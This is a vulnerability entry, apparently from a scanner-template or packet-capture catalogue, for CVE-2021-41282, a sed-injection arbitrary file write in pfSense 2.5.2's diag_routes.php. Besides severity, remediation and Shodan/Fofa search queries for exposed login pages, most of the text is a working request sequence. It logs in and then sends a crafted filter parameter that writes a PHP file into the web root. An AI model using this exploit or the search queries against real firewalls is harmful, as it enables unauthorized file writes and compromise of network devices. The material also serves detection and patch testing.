| Title | pfSense - Arbitrary File Write |
|---|---|
| Author | cckuailong |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized modification of critical system files, potentially resulting in a complete compromise of the pfSense firewall. |
| Remediation | Upgrade to pfSense CE software version 2.6.0 or later, or pfSense Plus software version 22.01 or later. |
| CVSS Score | 8.8 |
| EPSS Score | 0.9188 |
| CVE ID | CVE-2021-41282 |
| CWE ID | CWE-74 |
| Shodan Query | http.title:"pfsense - login" |
| Fofa Query | title="pfsense - login" |
| Tags | cve2021 cve pfsense rce authenticated vuln |
diag_routes.php in pfSense 2.5.2 allows sed data injection. Authenticated users are intended to be able to view data about the routes set in the firewall. The data is retrieved by executing the netstat utility, and then its output is parsed via the sed utility. Although the common protection mechanisms against command injection (e.g., the usage of the escapeshellarg function for the arguments) are used, it is still possible to inject sed-specific code and write an arbitrary file in an arbitrary location.
GET /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Connection: close
Content-Length: 64
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
__csrf_magic=vUpcE9&usernamefld=ZLHwF6&passwordfld=xZjm14&login=
GET /diag_routes.php?isAjax=1&filter=.*/!d;};s/Destination/\x3c\x3fphp+var_dump(md5(\x27CVE-2021-41282\x27));unlink(__FILE__)\x3b\x3f\x3e/;w+/usr/local/www/test.php%0a%23 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.4
Connection: close
Accept-Encoding: gzip
GET /test.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit/536.15 (KHTML like Gecko) Version/6.0 Safari/536.16
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41282.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-41282.pcap
N/AN/A